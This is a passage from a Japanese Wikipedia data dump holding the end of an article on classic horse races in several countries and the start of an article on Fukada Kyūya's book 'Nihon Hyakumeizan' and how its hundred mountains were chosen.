これらの競走に出走するための3歳馬の競走体系を「クラシック路線(クラシック戦線、クラシックロード)」などと表現する。
=== 3歳馬の「クラシック」競走 ===
主催する国・地域によって若干の違いはあるが、多くのクラシック三冠競走ではイギリスのものと同じく出走条件に「3歳馬限定」という決まりがあり、どの競走馬もクラシック競走に出走する機会は一生に一度だけである。またこれらの競走は[[種牡馬]]や[[繁殖牝馬]]の価値を高めるための選定競走と位置づけられているものが多く、[[去勢]]された[[せん馬|騸馬]]が出走できない場合が多い。またクラシック競走には事前にクラシック登録が義務付けられているものが多く、現代ではその制限は緩和されつつあるが、かつてはその制度がもとでクラシックに出走する機会を得られなかった馬も存在した。
クラシック競走は多くの施行団体において価値のある競走として位置づけられている。近年、競走の価値が多様化すると、1頭の馬があらゆる距離を走破するよりも、得意な距離に専念する傾向が現れた。一部の国では本来3歳限定戦のセントレジャー(に相当する長距離戦)を[[馬齢|古馬]]の出走を可能にするよう条件変更したり、距離の改定が試み、競走の価値を維持しようとしている。
=== 「クラシック距離」 ===
日本や、イギリス式の競走体系をとっている国々では、クラシック競走である[[ダービーステークス]]の施行[[距離 (競馬)|距離]]から派生して、[[芝]]1[[マイル]]2分の1または2400[[メートル]]の距離を'''クラシックディスタンス'''と呼ぶ。
一方、アメリカでは「クラシックディスタンス」というと、日本の「中距離」に相当する9ハロンから10ハロンの距離を指す。これは、アメリカ国内の「クラシック競走」が専らこの距離で行なわれることに由来する。
== 各国のクラシック ==
=== イギリス ===
{{Main|イギリスクラシック三冠}}
=== アイルランド ===
アイルランドでは、19世紀から20世紀にかけて、イギリス本国のクラシック5競走を模した競走が創設された。とはいえ、アイルランドはもともとイギリスの一部として扱われており、特にイギリスのクラシック競走が大きく発展する時期には、アイルランドは「イギリスの一地方」に過ぎなかった。アイルランドの一流馬はイギリスの一流の競走を目指すのがふつうであり、特にアイルランド独自の「クラシック路線」が特別な地位を獲得するということはなかった。
アイルランド独立後も、競走馬に関してはアイルランドとイギリス、そのほか近隣の主要競馬開催国との間では自由な往来が可能であり、国内のクラシック競走を勝てるような一流馬はアイルランド国内に留まって「クラシック路線」を歩むよりは、他国のより高賞金・高権威の競走をめざす<ref name="kk_EU_3yo">『海外競馬完全読本』p26-37「ヨーロッパ3歳主要レース体系」</ref>。
1962年にアイルランドダービーに大規模な改編があり、大幅に賞金が増えたことでイギリスや[[フランス]]のダービー馬などが集う競走に変貌して大成功した。現在、アイルランドの1000ギニー、2000ギニー、ダービー、オークスは、ヨーロッパ主要国の同等の競走が一段落したあとに行われるようなスケジュールになっており、それぞれ各国のクラシック競走の実績馬が集まるように意図されている<ref name="kk_EU_3yo"/>。
=== 日本 ===
==== 中央競馬 ====
{{Main|中央競馬クラシック三冠}}
[[中央競馬]]のクラシック三冠はイギリスのクラシック競走を模範として形成され、[[皐月賞]]・[[東京優駿]](日本ダービー)・[[菊花賞]]・[[桜花賞]]・[[優駿牝馬]](オークス)の5競走がクラシック競走として創設された。
中央競馬のクラシック三冠競走にはかつては厳重な出走制限があり、クラシック登録のない馬は出走できなかったほか、優秀な内国産の種牡馬・繁殖牝馬を審査・選定するための競走という位置づけもあったため、[[外国産馬]]や[[地方競馬]]所属馬に対する出走規制(古馬対象の[[天皇賞]]も含む)も存在した。現在ではクラシック追加登録制度の創設や、段階的に行われた出走規制撤廃などを経て、せん馬をのぞくほとんどの中央競馬所属馬が出走できるようになった。[[2010年]]より、[[外国馬|外国調教馬]](日本国外からの遠征馬)の出走も可能になった。
当初は牝馬の3冠目(ただし、牝馬は2冠までという考え方もあった)は本家と同様に菊花賞がそれに相当したが、[[1970年]]に3歳牝馬限定戦の[[ビクトリアカップ]]が創設され、のちに同じ役割を果たす競走として[[エリザベス女王杯]]、そして[[秋華賞]]が創設されると、牝馬三冠の最終戦はこれらに役割が移された。ただし上述の通り[[2000年]]まで、牝馬の三冠目以外は外国産馬には開放されていなかったこともあり、この新設された競走がクラシック競走と呼ばれることはなく、現在もクラシックは当初の5競走を指す言葉として使われているが、[[2001年]]以後外国産馬が部分的に開放([[2010年]]から外国馬を含め全面開放)されてからは、秋華賞をクラシックとみなす場合もある。クラシック競走についてはゼッケンもほかのGI競走とは区別がされており、日本ダービーは白地に黒文字(一般競走とは異なり金色のステッチ入り)、他の4競走は紺地に黄文字のゼッケンが使用されている。
皐月賞ではなく[[NHKマイルカップ]]から東京優駿、また菊花賞ではなく天皇賞(秋)に挑戦といった出走可能な競走の選択肢も番組整備により多様化した。
==== 地方競馬 ====
各[[地方競馬]]団体においてもそれぞれの地域ごとに、優秀競走馬選定を目的としたクラシック競走は行われており、[[サラブレッド]]以外の[[アングロアラブ]]競走や[[ばんえい競走]]においても三冠競走が存在する。現在主流のサラブレッド競馬においては他地区との交流も盛んに行われており、一部のクラシック競走は中央所属の競走馬も出走可能な[[ダートグレード競走]]である。
近年はこれらの優勝馬と中央競馬の[[ダート]]路線の優秀な3歳馬を集め、[[盛岡競馬場]]の[[ダービーグランプリ]]において全国のダービー馬同士の対決が企画されていた。ダービーグランプリの[[競馬の競走格付け|グレード]]撤廃後は、同様の役割を[[大井競馬場]]の[[ジャパンダートダービー]]が担っている。
[[2024年]]より[[3歳ダート三冠]]が新たに設定される。対象は[[羽田盃]]・[[東京ダービー (競馬)|東京ダービー]]・[[ジャパンダートダービー]]の3競走となっている。
=== アメリカ合衆国・カナダ ===
{{Main|アメリカクラシック三冠}}
[[アメリカ合衆国]]では、当初イギリスクラシックを模して[[ウィザーズステークス]]・[[ベルモントステークス]]・[[ローレンスリアライゼーションステークス]]をして正式ではないが実質的な三冠競走としており<ref name="Hunter">{{Cite book| author=Avalyn Hunter |title= American Classic Pedigrees(1914-2002) |year=2003 |publisher=Eclipse Pr |language=En |isbn= 978-1581500950 |url=https://books.google.co.jp/books?id=ozOLKZl9XzsC&pg=PA25&lpg=PA25&dq=classic+triple+crown&source=bl&ots=eGTdoW6KP0&sig=ACfU3U09IKmARtD_N92gsu_YhZw5BrXS7A&hl=ja&sa=X&ved=2ahUKEwiMyP281f3pAhXba94KHYOQAcoQ6AEwD3oECAoQAQ#v=onepage&q=classic%20triple%20crown&f=false |accessdate=2020/6/13 |page=25 |ref= }}</ref>、当時の[[ケンタッキーダービー]]は地方の中堅レースに過ぎなかった。[[サーバートン]]が「史上初のアメリカ三冠馬」となった時もさほど騒がれてはいなかった。その後、ウィザーズステークス・ローレンスリアライゼーションステークスの価値は下落。代わってケンタッキーダービー・[[プリークネスステークス]]が人気を集めるようになる。そして[[ギャラントフォックス]]が2頭目の「三冠馬」となったことを切っ掛けにケンタッキーダービー・プリークネスステークス・ベルモントステークスが三冠となったのである<ref name="Hunter"/>。
アメリカの牡馬クラシック競走には騸馬の出走が認められており、2012年までに[[エクスターミネーター]]など8頭のケンタッキーダービー馬が誕生している。
それぞれの競走はダートの馬場で行われ、また春季の約1か月間で三冠戦が終わるという非常に短い期間も特徴的である。ダートとしては長丁場のベルモントステークス(12ハロン・約2414メートル)に関しては他国のセントレジャー相当競走と同じく{{要出典範囲|しばしば距離短縮の提言が上げられることもある|date=2013年1月}}が、現在まで条件の変更もなく地位を保ち続けている。
また、牝馬の競走においてクラシック競走と呼ばれていたものに[[コーチングクラブアメリカンオークス]]があるが、クラシックの意味が上記牡馬三冠競走を意味することが多くなった現在においてはあまり使われない表現である。クラシックとは無関係だが三冠路線は存在し、とくにニューヨーク牝馬三冠([[エイコーンステークス]]・コーチングクラブアメリカンオークス・[[アラバマステークス]])は同国最大の牝馬三冠路線として位置づけられている。しかし王道の中距離路線に出走する多くの牝馬にとっては5月の[[ケンタッキーオークス]]が最大の目標になっており、{{要出典範囲|同競走を絡めた新たな三冠体系の確立の検討も行われている。|date=2013年1月}}
[[カナダ]]では[[1949年]]に三冠設置が提唱されて、[[キングスプレート|キングズプレート]]・[[プリンスオブウェールズステークス (カナダ)|プリンスオブウェールズステークス]]・[[ブリーダーズステークス]]の3競走が三冠競走として位置づけられた。ただしいずれの競走もカナダ国内所属の競走馬のみ出走可能な競走で、かつカナダの競走馬でもアメリカクラシック三冠に挑むこともできるためそれに比べると価値は一枚落ちる。これらの大規模な三冠のほか、競馬場を運営する各団体ごとに三冠競走が設定されている。
=== アラブ首長国連邦 ===
*[[UAE2000ギニー]]
*[[アルバスタキヤ (競馬)|アルバスタキヤ]]
*[[UAEダービー]]
=== フランス ===
==== 牡馬 ====
*[[プール・デッセ・デ・プーラン]]
*[[ジョッケクルブ賞]]
*[[ロワイヤルオーク賞]]
==== 牝馬 ====
*[[プール・デッセ・デ・プーリッシュ]]
*[[ディアヌ賞]]
*[[ヴェルメイユ賞]] - 4歳馬も出走可能
=== ドイツ ===
==== 牡馬 ====
*[[メールミュルヘンスレネン]]
*[[ドイチェスダービー]]
*[[ドイチェスセントレジャー]] - 古馬も出走可能
==== 牝馬 ====
*[[ディアナ賞]]
*[[ドイツ1000ギニー]]
=== オーストラリア ===
*[[ランドウィックギニーズ]]
*[[ローズヒルギニー]]
*[[オーストラリアンダービー]]
*[[ヴィクトリアダービー]]
*[[コーフィールドギニー]]
このうちランドウィックギニーズ、ローズヒルギニー、オーストラリアンダービーの3レースが「三冠クラシック」とされる。
==== 牝馬 ====
*[[1000ギニー (オーストラリア)|1000ギニー]]
*[[クラウンオークス]]
*[[オーストラリアンオークス]]
=== 香港 ===
*[[香港クラシックマイル]]
*[[香港クラシックカップ]]
*[[香港ダービー]]
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group=注}}
=== 出典 ===
<references />
== 参考文献 ==
*『競馬の世界史』ロジャー・ロングリグ・著、原田俊治・訳、日本中央競馬会弘済会・刊、1976
*『CLASSIC PEDIGREES 1776-2005』Michael Church編、Raceform刊、2005
*『海外競馬完全読本』海外競馬編集部・編、東邦出版・刊、2006
== 関連項目 ==
*[[三冠 (競馬)]]
*[[ダービー (競馬)]]
*[[中央競馬クラシック競走優勝馬一覧]]
*[[中央競馬クラシック三冠]]
{{Keiba-stub}}
{{DEFAULTSORT:くらしつく}}
[[Category:競馬用語]]
[[Category:競馬の競走]] | 2003-04-14T14:43:01Z | 2023-12-23T09:11:55Z | false | false | false | [
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"Template:要出典範囲",
"Template:脚注ヘルプ",
"Template:Reflist",
"Template:Cite book",
"Template:Keiba-stub",
"Template:出典の明記",
"Template:Lang"
]
| https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%A9%E3%82%B7%E3%83%83%E3%82%AF_(%E7%AB%B6%E9%A6%AC) |
6,742 | 日本百名山 | 『日本百名山』(にほんひゃくめいざん)は、文筆家(小説家のち随筆家)で登山家だった深田久弥が実際に登頂し、日本の各地の山から定めた基準で100山を選び主題とした山岳随筆集である。
初刊は1964年7月に新潮社で出版。第16回読売文学賞(評論・伝記賞)を受賞した。
計100座の日本の名峰各座が4頁(2000字)程度に巧みにまとめられた随筆であるが、山の地誌、歴史、文化史、文学史、山容に関する研究書であり、山格を論じたものであり、登頂にいたる過程の随想であって、紀行文集とは異なる。山の選定は、深田の登山経験によるもので、1942年の『山頂山麓』、1948年の『わが山山』1952年の『をちこちの山』、1959年の『わが愛する山々』などの山岳紀行がもとになっている。本書における山の記述が、登山解説書や様々なホームページで引用されることがある。登山記(紀行文)として見たときの『日本百名山』は、他の著名な山岳随筆であるウォルター・ウェストン『日本アルプスの登山と探検』や、小島烏水・志賀重昂・田部重治・冠松次郎・串田孫一などの諸作品と比較すると、一座あたりの文章量は少ない。
日本の多くの山を踏破した本人の経験から、「品格・歴史・個性」を兼ね備え、かつ原則として標高1500 m以上の山という基準を設け、『日本百名山』を選定した。1961年(昭和36年)に上高地で開山祭である「ウェストン祭」の講演で日本百名山の選定基準を披露している。
また「本人が登頂した山であること」が、絶対条件となっている。少年の頃から約50年の間に相当数の山に登っていて、多くの山を知っている点に自信を持っていた。
前記の基準に加えて、観光的に開発されつくして「山霊のすみかがなくなっている」ような山は選ぶわけにはいかないと述べ、中学時代を過ごした福井県の荒島岳に触れて、「各県から代表の山を選ぶ」というような考えも持っていたとしている。なお、47すべての都道府県から選んだわけではなく、百名山の存在しない都道府県も、西日本を中心に16府県に及んでいる。及第すれすれの山を選ぶ心情を「愛する教え子を落第させる試験官の辛さに似ていた」と述べている。
「自分の選定の試みは、旅行業界が観光振興のために選んだ「名勝百選」のようなものに比べれば正確だ」と自負する一方、自分の基準が唯一の妥当な選定基準ではないことも認めていた。新潮文庫版の「日本百名山」では、解説者の串田孫一が、「読者が自分で百名山を選定する際のたたき台として使えることもこの本の魅力」という意見を述べている。
北海道では9座が選定され、他にウペペサンケ山、ニペソツ山、石狩岳、ペテガリ岳、芦別岳、駒ヶ岳、樽前山なども有力な候補としていたが、登頂していないことにより除外された。東北地方では、秋田駒ヶ岳と栗駒山も候補としていて、森吉山、姫神山、船形山は標高が低いことから除外された。上信越は最も選定に迷った地域で、女峰山、仙ノ倉山、黒姫山、飯縄山、守門岳、荒沢岳、白砂山、鳥甲山、岩菅山なども候補としていた。日本アルプスからは28座が選定されたが、雪倉岳、奥大日岳、針ノ木岳、蓮華岳、燕岳、大天井岳、霞沢岳、有明山、餓鬼岳、毛勝山、大無間山、笊ヶ岳、七面山なども候補としていた。北陸地方では、笈ヶ岳と大笠山を入れるべきと考えていたが、登頂していなかったため除外された。自身の出身地では、荒島岳と能郷白山から前者を選択した。関西地方では、藤原岳と比良山が標高が低いため除外され、御在所岳は山頂が遊園地化し世俗化していたため除外された。中国地方では氷ノ山を次の候補としていて、蒜山や三瓶山などなだらか山が多く物足りなく感じ、鳥取県の大山1座のみの選定に至った。四国では迷うことなく、石鎚山と剣山を選定した。九州では由布岳、市房山、桜島も候補となっていた。
深田が百名山の有力な候補として上げた山の多くは、後に深田のファン団体「深田クラブ」が選定した日本二百名山に選定されている。
深田は、第二次世界大戦前には日本のめぼしい山にすべて登っており、その中から百名山を選ぶという構想を持っていた。全国88座の山を記した谷文晁の「日本名山図会」を念頭に置いたともいわれる。1940年(昭和15年)3月から、出版社であった朋文堂から山岳雑誌の『山小屋』で日本百名山の初期の構想であった連載を始めた。その初回で「日本百名山を選ぶのは、多年の僕の念願であった」と記載して、400-600字程度の短編に自身が撮影した写真を付けて、毎月2座合計以下の20座の連載が行われた。
1947年より東京新聞出版局から創刊されている山岳雑誌の『岳人』では奥山章、冠松次郎、辻村太郎ら54名のアンケートにより1年余りかけて選考が行われ、1953年(昭和28年)の3月号(59号)で「岳人選定による日本百名山」がまとめられた。78座が、後に出版された深田久弥による『日本百名山』と一致していた。標高1500 m以上であることをあくまでも原則として、山容のよいこと、景勝地であること、山頂からの展望が優れていることなどが選考条件となり、特に「登山の対象として面白い」が主眼とされていた。
1959年(昭和34年)3月から、朋文堂の雑誌『山と高原』で毎月2座の日本百名山の連載が始まった。山の地誌・歴史、文化史、文学史、山容、自身の登頂記などを2000字程度に簡潔にまとめ、50回連続して1963年(昭和38年)4月号まで書き継がれた。初回は鳥海山と男体山、最終回は筑波山と富士山だった。山の愛好者から好評を得て、この雑誌の読者による人気投票で第1回読者賞を獲得した。その後、1年余りの推敲が重ねられて、1964年(昭和39年)に新潮社から『日本百名山』の単行本が出版された。各山の文章中に、山周辺の地図と山の白黒写真が挿入された版もある。好評を得て、深田のこの著書が第16回読売文学賞(評論・伝記賞)を受賞した。その贈賞式は1965年(昭和40年)2月6日に、読売会館で行われた。
深田はこの本の出版後も相変わらず山に登り続けて、ぜひ百名山に入れたいと思ういくつかの山を知った。それらは標高としては第2線級ではあるが、その山容の美しさや品格のある点では3000 m峰にも劣らなかったと記している。1971年(昭和46年)に出版された山岳紀行エッセイ集『山頂の憩い-「日本百名山」その後』では、20座程が紹介された。ニペソツ山については、「日本百名山を出版した時、この山をまだ見ておらず、ニペソツには申し訳なかったが百名山には入れなかった。実に立派な山であることを登ってみて初めて知った。」と記載している。多くの人の意見を聞いて若干の山の差替えをするつもりのようであったが、結局1964年の出版後に百座の入替えが行われることはなかった。『山頂の憩い-「日本百名山」その後』が遺作となり、1971年3月21日登山中の山梨県の茅ヶ岳にて、脳卒中で急逝した。
なお、本書につづいて深田は、1970年(昭和45年)に山岳雑誌『岳人』の1月号(第271号)から『世界百名山』の連載を始めた。41座まで書かれたところで急逝し未完成となったが、『世界百名山―絶筆41座』が新潮社より出版された。 登山史の深い検証や幅広い文献収集を土台としており、日本百名山以上の名著とする評価もある。
1982年(昭和57年)から、茅ヶ岳山麓の山梨県韮崎市で深田の遺徳を偲ぶ碑前祭である『深田祭』と記念登山のイベントが毎年実施されている。 2002年(平成14年)12月に、石川県加賀市大聖寺に「深田久弥 山の文化館」がオープンした。
2007年(平成19年)には屋久島のガイド・島津康一郎が日本百名山を48日間(6月14日~7月31日)で連続踏破し、平田和文が2002年に達成していた最短記録(66日間)を更新した。2014年には山岳ガイドの藤川健がさらに記録を短縮し、33日間(9月1日~10月3日)という日本百名山登頂の最短記録を達成した。
個人の日本百名山の登頂記の書籍が多数出版されている。
本書は紀行文集でも案内書でも、まして登山入門書でもないのだが、この本を通じて、今まで知らなかった日本の山々の魅力を知り、自分もこれらの山に登ってみようという人たちが、登るべき100の山の指標だという勘違いから「日本百名山ブーム」が起き、現在も継続している。百座のうち自分がいくつ登ったか増えていくのを楽しみにしている読者もいる。ただし、深田久弥自身は戦前以来の経験豊富な仲間との奥深い「避衆」登山を好み、一方で第2次RCCの奥山章などの若い世代のパイオニア的な登山も背後から奨励していただけに、そのような登山初心者の風潮にいささか困惑していた。
一方、自分で山岳の探究をせずに「日本百名山」だけに人々が群がり、シーズン中の百名山周辺の山小屋が旅行会社のツアー客も交えて混雑し、登山道が荒廃するような山登りのありかたを批判する意見もある。もとより深田久弥の「罪」とされているわけではないが、国内外で1500座以上の山岳を登頂した山歴を持つ今西錦司は、百名山は深田がいわば酔狂と身びいきで選定したもので、基準も関東中心で絶対的ではないとした。そして、筑波山のように東京から見える山ではなく、標高も1500メートルにも満たない低山ではあるが、生態系の多様性や歴史・伝承に満ちた集落を有し、「日本百名山」に匹敵する立派な山が京都北山の奥深くにあるのを知っている。しかし、「深田百名山」のように荒らされると困るので、どこの山なのかは絶対に書かないと、京都学派らしく皮肉っぽく述べている。
深田久弥の『日本百名山』に記述されている百座を、その順に以下のリストに示す。国立公園内にある山、各都道府県の最高峰、火山などが多数含まれている。3000 mを越える山が13座含まれている。高い山が少ない西日本の山の選定数は少なく、選定されていない都道府県が多数ある。
各項目の▲記号をクリックすることにより、ソートすることが可能である。
昨今では様々な“名山”が選定されたり、書籍・冊子として刊行されたりするようになった(数は百ちょうどとは限らない)。以下にその例を挙げる。
この他に、北海道百名山、東北百名山、うつくしま百名山、山梨百名山、関西百名山、四国百名山、九州百名山など各地の百名山、岩崎元郎選の「新日本百名山」、小林泰彦選の「日本百低山」などもある。飛騨山岳会では創立100周年を記念して2008年9月、『飛騨百山』を出版した。他にも下表に示す地元の自治体、山岳会、出版社及び新聞社が選定した各県や地方の百名山などがある。2002年には、山岳写真家の白川義員が中心となり『世界百名山』を選定した。
日本全国の百名山が複数あり、特に読売文学賞を受賞した深田久弥の『日本百名山』はよく知られている。
『日本百名山』の本は多数重版され、改版や新装版も出版されている。深田久弥自身の著書の他に、深田久弥に関するものや、日本百名山のすべての山を解説する登山ガイド本などが多数出版されている。他にも、ビデオ・DVDなども、多数出版されている。
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"text": "『日本百名山』(にほんひゃくめいざん)は、文筆家(小説家のち随筆家)で登山家だった深田久弥が実際に登頂し、日本の各地の山から定めた基準で100山を選び主題とした山岳随筆集である。",
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| 『日本百名山』(にほんひゃくめいざん)は、文筆家(小説家のち随筆家)で登山家だった深田久弥が実際に登頂し、日本の各地の山から定めた基準で100山を選び主題とした山岳随筆集である。 初刊は1964年7月に新潮社で出版。第16回読売文学賞(評論・伝記賞)を受賞した。 | 『'''日本百名山'''』(にほんひゃくめいざん)は、[[文筆家]]([[小説家]]のち[[随筆家]])で[[登山家]]だった[[深田久弥]]が実際に登頂し、[[日本の山一覧|日本の各地の山]]から定めた基準で100山を選び主題とした山岳[[随筆]]集である。
初刊は[[1964年]]7月に[[新潮社]]で出版<ref name="日本百名山(1964)">[[#日本百名山(1964)|日本百名山(1964)]]</ref>。第16回[[読売文学賞]](評論・伝記賞)を受賞した。
== 概要 ==
計100座の日本の名峰各座が4頁(2000字)程度に巧みにまとめられた随筆である<ref name="日本百名山(1964)" />が、山の地誌、歴史、文化史、文学史、山容に関する研究書であり、山格を論じたものであり、登頂にいたる過程の随想であって、紀行文集とは異なる。山の選定は、深田の登山経験によるもので、1942年の『山頂山麓』、1948年の『わが山山』1952年の『をちこちの山』、1959年の『わが愛する山々』などの山岳紀行がもとになっている。本書における山の記述が、登山解説書や様々な[[ホームページ]]で引用されることがある<ref name="登山案内(1998)">[[#登山案内|登山案内(1998)]]</ref>。登山記([[紀行|紀行文]])として見たときの『日本百名山』は、他の著名な山岳随筆である[[ウォルター・ウェストン]]『日本アルプスの登山と探検』や、[[小島烏水]]・[[志賀重昂]]・[[田部重治]]・[[冠松次郎]]・[[串田孫一]]などの諸作品と比較すると、一座あたりの文章量は少ない。
== 深田久弥の日本百名山の選定基準 ==
日本の多くの山を踏破した本人の経験から、「品格・歴史・個性」を兼ね備え、かつ原則として[[標高]]1500 [[メートル|m]]以上の山<ref group="注釈">[[筑波山]] (877 m) および[[開聞岳]] (924 m) のような例外もある。[[弥彦山]]、[[比叡山]]、[[英彦山]]などは名山ではあるが標高が低いことから除外された。</ref>という基準を設け、『日本百名山』を選定した。1961年(昭和36年)に[[上高地]]で[[開山祭]]である「ウェストン祭」の講演で日本百名山の選定基準を披露している<ref name="日本百名山と深田久弥(2004)、著書一覧3頁">[[#日本百名山と深田久弥|日本百名山と深田久弥(2004)、著書一覧3頁]]</ref>。
* '''山の品格''' - 人には[[人格]]があるように、山には『山格』のようなものがあるとし、誰が見ても立派な山だと感嘆する山であることを、第一の基準とした<ref name="日本百名山(1964)、後記">[[#日本百名山(1964)|日本百名山(1964)、後記]]</ref>。
* '''山の歴史''' - 昔から人間との関わりが深く、崇拝され山頂に[[祠]]が祀られている山であるというような山の歴史を尊重し、第二の基準とした<ref name="日本百名山(1964)、後記" />。
* '''個性のある山''' - [[芸術作品]]と同様に、山容・現象・伝統など他には無いような顕著な個性をもっていることを、第三の基準とした<ref name="日本百名山(1964)、後記" />。
また「本人が登頂した山であること」が、絶対条件となっている。少年の頃から約50年の間に相当数の山に登っていて、多くの山を知っている点に自信を持っていた<ref name="日本百名山(1964)、後記" />。
{{main|深田久弥#主な登山記録(山行記録)}}
前記の基準に加えて、観光的に開発されつくして「山霊のすみかがなくなっている」ような山は選ぶわけにはいかないと述べ、中学時代を過ごした福井県の[[荒島岳]]に触れて、「各県から代表の山を選ぶ」というような考えも持っていたとしている<ref name="日本百名山と深田久弥(2004)、65頁">[[#日本百名山と深田久弥|日本百名山と深田久弥(2004)、65頁]]</ref>。なお、47すべての[[都道府県]]から選んだわけではなく、百名山の存在しない都道府県も、西日本を中心に16府県に及んでいる。及第すれすれの山を選ぶ心情を「愛する教え子を落第させる試験官の辛さに似ていた」と述べている。
「自分の選定の試みは、旅行業界が観光振興のために選んだ「名勝百選」のようなものに比べれば正確だ」と自負する一方、自分の基準が唯一の妥当な選定基準ではないことも認めていた。新潮文庫版の「日本百名山」では、解説者の[[串田孫一]]が、「読者が自分で百名山を選定する際のたたき台として使えることもこの本の魅力」という意見を述べている<ref name="日本百名山、解説(串田孫一)">[[#日本百名山(1964)|日本百名山、解説(串田孫一)]]</ref>。
=== 他の候補 ===
[[北海道]]では9座が選定され、他に[[ウペペサンケ山]]、[[ニペソツ山]]、[[石狩岳]]、[[ペテガリ岳]]、[[芦別岳]]、[[北海道駒ヶ岳|駒ヶ岳]]、[[樽前山]]なども有力な候補としていたが、登頂していないことにより除外された。[[東北地方]]では、[[秋田駒ヶ岳]]と[[栗駒山]]も候補としていて、[[森吉山]]、[[姫神山 (岩手県)|姫神山]]、[[船形山]]は標高が低いことから除外された。[[上信越]]は最も選定に迷った地域で、[[女峰山]]、[[仙ノ倉山]]、[[黒姫山 (長野県) |黒姫山]]、[[飯縄山]]、[[守門岳]]、[[荒沢岳]]、[[白砂山]]、[[鳥甲山]]、[[岩菅山]]なども候補としていた。[[日本アルプス]]からは28座が選定されたが、[[雪倉岳]]、[[奥大日岳]]、[[針ノ木岳]]、[[蓮華岳]]、[[燕岳]]、[[大天井岳]]、[[霞沢岳]]、[[有明山 (安曇野市・松川村)|有明山]]、[[餓鬼岳]]、[[毛勝山]]、[[大無間山]]、[[笊ヶ岳]]、[[七面山]]なども候補としていた。[[北陸地方]]では、[[笈ヶ岳]]と[[大笠山]]を入れるべきと考えていたが、登頂していなかったため除外された。自身の出身地では、荒島岳と[[能郷白山]]から前者を選択した。[[関西地方]]では、[[藤原岳]]と[[比良山]]が標高が低いため除外され、[[御在所岳]]は山頂が[[遊園地]]化し世俗化していたため除外された。[[中国地方]]では[[氷ノ山]]を次の候補としていて、[[蒜山]]や[[三瓶山]]などなだらか山が多く物足りなく感じ、鳥取県の大山1座のみの選定に至った。[[四国]]では迷うことなく、石鎚山と剣山を選定した。[[九州]]では[[由布岳]]、[[市房山]]、[[桜島]]も候補となっていた<ref name="日本百名山(1964)、後記" />。
深田が百名山の有力な候補として上げた山の多くは、後に深田のファン団体「深田クラブ」が選定した[[日本二百名山]]に選定されている。
== 日本百名山の背景 ==
=== 山岳雑誌『山小屋』での初期構想 ===
深田は、[[第二次世界大戦]]前には日本のめぼしい山にすべて登っており、その中から百名山を選ぶという構想を持っていた<ref name="日本百名山(1964)、後記" />。全国88座の山を記した[[谷文晁]]の「日本名山図会」を念頭に置いたともいわれる。[[1940年]](昭和15年)3月から、出版社であった朋文堂から山岳雑誌の『山小屋』で日本百名山の初期の構想であった連載を始めた。その初回で「日本百名山を選ぶのは、多年の僕の念願であった」と記載して、400-600字程度の短編に自身が撮影した写真を付けて、毎月2座合計以下の20座の連載が行われた<ref name="日本百名山と深田久弥(2004)、7-9頁">[[#日本百名山と深田久弥|日本百名山と深田久弥(2004)、7-9頁]]</ref>。
* [[高千穂峰]]、乗鞍岳 - 3月号
* [[岩菅山]]、妙高山 - 4月号
* 燧ヶ岳、至仏山 - 5月号
* 五竜岳、蓼科山 - 6月号
* [[宝剣岳]]、[[八甲田山|高田大岳]] - 7月号
* 白山、会津駒ヶ岳 - 8月号
* 薬師岳、[[太郎山 (栃木県)|太郎山]] - 9月号
* 高妻山、霧ヶ峰 - 10月号
* [[赤岳 (八ヶ岳山系)|赤岳]]、開聞岳 - 11月号
* [[湯ノ丸山]]、岩手山 - 12月号
=== 『岳人』選定による日本百名山 ===
1947年より[[東京新聞]]出版局から創刊されている山岳雑誌の『[[岳人]]』では[[奥山章]]、[[冠松次郎]]、[[辻村太郎]]ら54名のアンケートにより1年余りかけて選考が行われ、[[1953年]](昭和28年)の3月号(59号)で「岳人選定による日本百名山」がまとめられた<ref name="日本百名山と深田久弥(2004)、15-17頁">[[#日本百名山と深田久弥|日本百名山と深田久弥(2004)、15-17頁]]</ref>。78座が、後に出版された深田久弥による『日本百名山』と一致していた。標高1500 [[メートル|m]]以上であることをあくまでも原則として、山容のよいこと、[[景勝地]]であること、山頂からの展望が優れていることなどが選考条件となり、特に「[[登山]]の対象として面白い」が主眼とされていた<ref name="日本百名山と深田久弥(2004)、15-17頁" />。
;深田久弥による百名山と一致した山
:大雪山、十勝岳、阿寒岳、斜里岳、八甲田山、八幡平、岩手山、鳥海山、早池峰山、東北朝日岳、[[飯豊山]]、月山、蔵王山、吾妻山、磐梯山、会津駒ヶ岳、[[越後三山|魚沼三山]]、谷川岳、武尊山、日光白根山、男体山、燧ヶ岳、至仏山、平ヶ岳、苗場山、那須岳、赤城山、天城山、丹沢山、両神山、雲取山、甲武信ヶ岳、金峰山、瑞牆山、浅間山、蓼科山、八ヶ岳、妙高山、火打山、富士山、[[白峰三山]]、[[鳳凰山|鳳凰三山]]、甲斐駒ヶ岳、仙丈ヶ岳、塩見岳、悪沢岳、荒川岳、赤石岳、聖岳、木曽駒ヶ岳、空木岳、木曽御嶽山、恵那山、乗鞍岳、焼岳、槍ヶ岳、穂高岳、笠ヶ岳、白馬岳、五竜岳、鹿島槍ヶ岳、常念岳、鷲羽岳、薬師岳、立山本峰、剱岳、黒岳、白山、荒島岳、大峰山、大台ヶ原山、伊吹山、伯耆大山、石鎚山、剣山、九重山、霧島山、阿蘇山
;深田久弥による百名山と一致しなかった山
:[[ペテガリ岳]]、[[石狩岳]]、[[神威岳 (大樹町・浦河町)|神威岳]]、[[仙ノ倉山]]、[[白砂山]]、[[妙義山]]、[[榛名山]]、[[国師岳]]、[[戸隠山]]、[[岩菅山]]、[[笊ヶ岳]]、[[唐松岳]]、[[燕岳]]、[[針ノ木岳]]、[[烏帽子岳 (飛騨山脈)|烏帽子岳]]、[[毛勝山|毛勝岳]]、[[奥大日岳]]、[[御在所岳|鈴鹿山]]、[[氷ノ山]]、八重山、[[雲仙岳]]、[[傾山]]
=== 雑誌『山と高原』での日本百名山の連載 ===
